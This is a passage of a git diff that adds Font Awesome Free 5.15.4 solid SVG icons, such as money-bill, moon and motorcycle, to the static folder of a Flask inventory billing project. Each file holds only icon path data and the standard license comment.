https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-bill-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-bill-alt.svg new file mode 100644 index 00000000..ad1f5f8d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-bill-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M352 288h-16v-88c0-4.42-3.58-8-8-8h-13.58c-4.74 0-9.37 1.4-13.31 4.03l-15.33 10.22a7.994 7.994 0 0 0-2.22 11.09l8.88 13.31a7.994 7.994 0 0 0 11.09 2.22l.47-.31V288h-16c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8h64c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 192c-53.02 0-96-50.15-96-112 0-61.86 42.98-112 96-112s96 50.14 96 112c0 61.87-43 112-96 112zm272 32h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-bill-wave-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-bill-wave-alt.svg new file mode 100644 index 00000000..723b2ccf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-bill-wave-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-bill-wave.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-bill-wave.svg new file mode 100644 index 00000000..2910d7b1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-bill-wave.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM48 132.22c20.12 5.04 41.12 7.57 62.72 8.93C104.84 170.54 79 192.69 48 192.69v-60.47zm0 285v-47.78c34.37 0 62.18 27.27 63.71 61.4-22.53-1.81-43.59-6.31-63.71-13.62zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 27.78c-17.52-4.39-35.71-6.85-54.32-8.44 5.87-26.08 27.5-45.88 54.32-49.28v57.72zm0-236.11c-30.89-3.91-54.86-29.7-55.81-61.55 19.54 2.17 38.09 6.23 55.81 12.66v48.89z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-bill.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-bill.svg new file mode 100644 index 00000000..d09c6860 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-bill.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 176c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 48h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-check-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-check-alt.svg new file mode 100644 index 00000000..90bb795c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-check-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M608 32H32C14.33 32 0 46.33 0 64v384c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM176 327.88V344c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V152c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07zM416 312c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm160 0c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h272c4.42 0 8 3.58 8 8v16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-check.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-check.svg new file mode 100644 index 00000000..6d401214 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/money-check.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 448c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128H0v320zm448-208c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-32zm0 120c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H456c-4.42 0-8-3.58-8-8v-16zM64 264c0-4.42 3.58-8 8-8h304c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm0 96c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zM624 32H16C7.16 32 0 39.16 0 48v48h640V48c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/monument.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/monument.svg new file mode 100644 index 00000000..b5a9747e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/monument.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M368 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h352c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-78.86-347.26a31.97 31.97 0 0 0-9.21-19.44L203.31 4.69c-6.25-6.25-16.38-6.25-22.63 0l-76.6 76.61a31.97 31.97 0 0 0-9.21 19.44L64 416h256l-30.86-315.26zM240 307.2c0 6.4-6.4 12.8-12.8 12.8h-70.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h70.4c6.4 0 12.8 6.4 12.8 12.8v38.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/moon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/moon.svg new file mode 100644 index 00000000..a0821efe --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/moon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M283.211 512c78.962 0 151.079-35.925 198.857-94.792 7.068-8.708-.639-21.43-11.562-19.35-124.203 23.654-238.262-71.576-238.262-196.954 0-72.222 38.662-138.635 101.498-174.394 9.686-5.512 7.25-20.197-3.756-22.23A258.156 258.156 0 0 0 283.211 0c-141.309 0-256 114.511-256 256 0 141.309 114.511 256 256 256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mortar-pestle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mortar-pestle.svg new file mode 100644 index 00000000..e11eef29 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mortar-pestle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M501.54 60.91c17.22-17.22 12.51-46.25-9.27-57.14a35.696 35.696 0 0 0-37.37 3.37L251.09 160h151.37l99.08-99.09zM496 192H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c0 80.98 50.2 150.11 121.13 178.32-12.76 16.87-21.72 36.8-24.95 58.69-1.46 9.92 6.04 18.98 16.07 18.98h223.5c10.03 0 17.53-9.06 16.07-18.98-3.22-21.89-12.18-41.82-24.95-58.69C429.8 406.11 480 336.98 480 256h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mosque.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mosque.svg new file mode 100644 index 00000000..1905a726 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mosque.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 480c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V160H0v320zm579.16-192c17.86-17.39 28.84-37.34 28.84-58.91 0-52.86-41.79-93.79-87.92-122.9-41.94-26.47-80.63-57.77-111.96-96.22L400 0l-8.12 9.97c-31.33 38.45-70.01 69.76-111.96 96.22C233.79 135.3 192 176.23 192 229.09c0 21.57 10.98 41.52 28.84 58.91h358.32zM608 320H192c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h32v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h64v-72c0-48 48-72 48-72s48 24 48 72v72h64v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h32c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM64 0S0 32 0 96v32h128V96c0-64-64-96-64-96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/motorcycle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/motorcycle.svg new file mode 100644 index 00000000..e2f90c8b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/motorcycle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512.9 192c-14.9-.1-29.1 2.3-42.4 6.9L437.6 144H520c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24h-45.3c-6.8 0-13.3 2.9-17.8 7.9l-37.5 41.7-22.8-38C392.2 68.4 384.4 64 376 64h-80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h66.4l19.2 32H227.9c-17.7-23.1-44.9-40-99.9-40H72.5C59 104 47.7 115 48 128.5c.2 13 10.9 23.5 24 23.5h56c24.5 0 38.7 10.9 47.8 24.8l-11.3 20.5c-13-3.9-26.9-5.7-41.3-5.2C55.9 194.5 1.6 249.6 0 317c-1.6 72.1 56.3 131 128 131 59.6 0 109.7-40.8 124-96h84.2c13.7 0 24.6-11.4 24-25.1-2.1-47.1 17.5-93.7 56.2-125l12.5 20.8c-27.6 23.7-45.1 58.9-44.8 98.2.5 69.6 57.2 126.5 126.8 127.1 71.6.7 129.8-57.5 129.2-129.1-.7-69.6-57.6-126.4-127.2-126.9zM128 400c-44.1 0-80-35.9-80-80s35.9-80 80-80c4.2 0 8.4.3 12.5 1L99 316.4c-8.8 16 2.8 35.6 21 35.6h81.3c-12.4 28.2-40.6 48-73.3 48zm463.9-75.6c-2.2 40.6-35 73.4-75.5 75.5-46.1 2.5-84.4-34.3-84.4-79.9 0-21.4 8.4-40.8 22.1-55.1l49.4 82.4c4.5 7.6 14.4 10 22 5.5l13.7-8.2c7.6-4.5 10-14.4 5.5-22l-48.6-80.9c5.2-1.1 10.5-1.6 15.9-1.6 45.6-.1 82.3 38.2 79.9 84.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mountain.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mountain.svg new file mode 100644 index 00000000..f17aca39 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mountain.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M634.92 462.7l-288-448C341.03 5.54 330.89 0 320 0s-21.03 5.54-26.92 14.7l-288 448a32.001 32.001 0 0 0-1.17 32.64A32.004 32.004 0 0 0 32 512h576c11.71 0 22.48-6.39 28.09-16.67a31.983 31.983 0 0 0-1.17-32.63zM320 91.18L405.39 224H320l-64 64-38.06-38.06L320 91.18z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mouse-pointer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mouse-pointer.svg new file mode 100644 index 00000000..1fec1b6f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mouse-pointer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M302.189 329.126H196.105l55.831 135.993c3.889 9.428-.555 19.999-9.444 23.999l-49.165 21.427c-9.165 4-19.443-.571-23.332-9.714l-53.053-129.136-86.664 89.138C18.729 472.71 0 463.554 0 447.977V18.299C0 1.899 19.921-6.096 30.277 5.443l284.412 292.542c11.472 11.179 3.007 31.141-12.5 31.141z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mouse.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mouse.svg new file mode 100644 index 00000000..24d01eb5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mouse.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 352a160 160 0 0 0 160 160h64a160 160 0 0 0 160-160V224H0zM176 0h-16A160 160 0 0 0 0 160v32h176zm48 0h-16v192h176v-32A160 160 0 0 0 224 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mug-hot.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mug-hot.svg new file mode 100644 index 00000000..43d7aa66 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mug-hot.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M127.1 146.5c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C111.8 5.9 105 0 96.8 0H80.4C70.6 0 63 8.5 64.1 18c3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zm112 0c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C223.8 5.9 217 0 208.8 0h-16.4c-9.8 0-17.5 8.5-16.3 18 3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zM400 192H32c-17.7 0-32 14.3-32 32v192c0 53 43 96 96 96h192c53 0 96-43 96-96h16c61.8 0 112-50.2 112-112s-50.2-112-112-112zm0 160h-16v-96h16c26.5 0 48 21.5 48 48s-21.5 48-48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/music.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/music.svg new file mode 100644 index 00000000..b37b68b3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/music.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M470.38 1.51L150.41 96A32 32 0 0 0 128 126.51v261.41A139 139 0 0 0 96 384c-53 0-96 28.66-96 64s43 64 96 64 96-28.66 96-64V214.32l256-75v184.61a138.4 138.4 0 0 0-32-3.93c-53 0-96 28.66-96 64s43 64 96 64 96-28.65 96-64V32a32 32 0 0 0-41.62-30.49z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/network-wired.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/network-wired.svg new file mode 100644 index 00000000..95b67076 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/network-wired.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M640 264v-16c0-8.84-7.16-16-16-16H344v-40h72c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H224c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h72v40H16c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h104v40H64c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h304v40h-56c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h104c8.84 0 16-7.16 16-16zM256 128V64h128v64H256zm-64 320H96v-64h96v64zm352 0h-96v-64h96v64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/neuter.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/neuter.svg new file mode 100644 index 00000000..858abd34 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/neuter.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 288 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V468c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V316.4c64.1-14.5 112-71.9 112-140.4zm-144 80c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/newspaper.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/newspaper.svg new file mode 100644 index 00000000..a612a3bc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/newspaper.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M552 64H88c-13.255 0-24 10.745-24 24v8H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h472c26.51 0 48-21.49 48-48V88c0-13.255-10.745-24-24-24zM56 400a8 8 0 0 1-8-8V144h16v248a8 8 0 0 1-8 8zm236-16H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm-208-96H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm0-96H140c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h360c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/not-equal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/not-equal.svg new file mode 100644 index 00000000..9f1ff52d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/not-equal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 208c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32h-23.88l51.87-66.81c5.37-7.02 4.04-17.06-2.97-22.43L415.61 3.3c-7.02-5.38-17.06-4.04-22.44 2.97L311.09 112H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h204.56l-74.53 96H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h55.49l-51.87 66.81c-5.37 7.01-4.04 17.05 2.97 22.43L64 508.7c7.02 5.38 17.06 4.04 22.43-2.97L168.52 400H416c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32H243.05l74.53-96H416z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/notes-medical.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/notes-medical.svg new file mode 100644 index 00000000..253516de --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/notes-medical.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm96 304c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 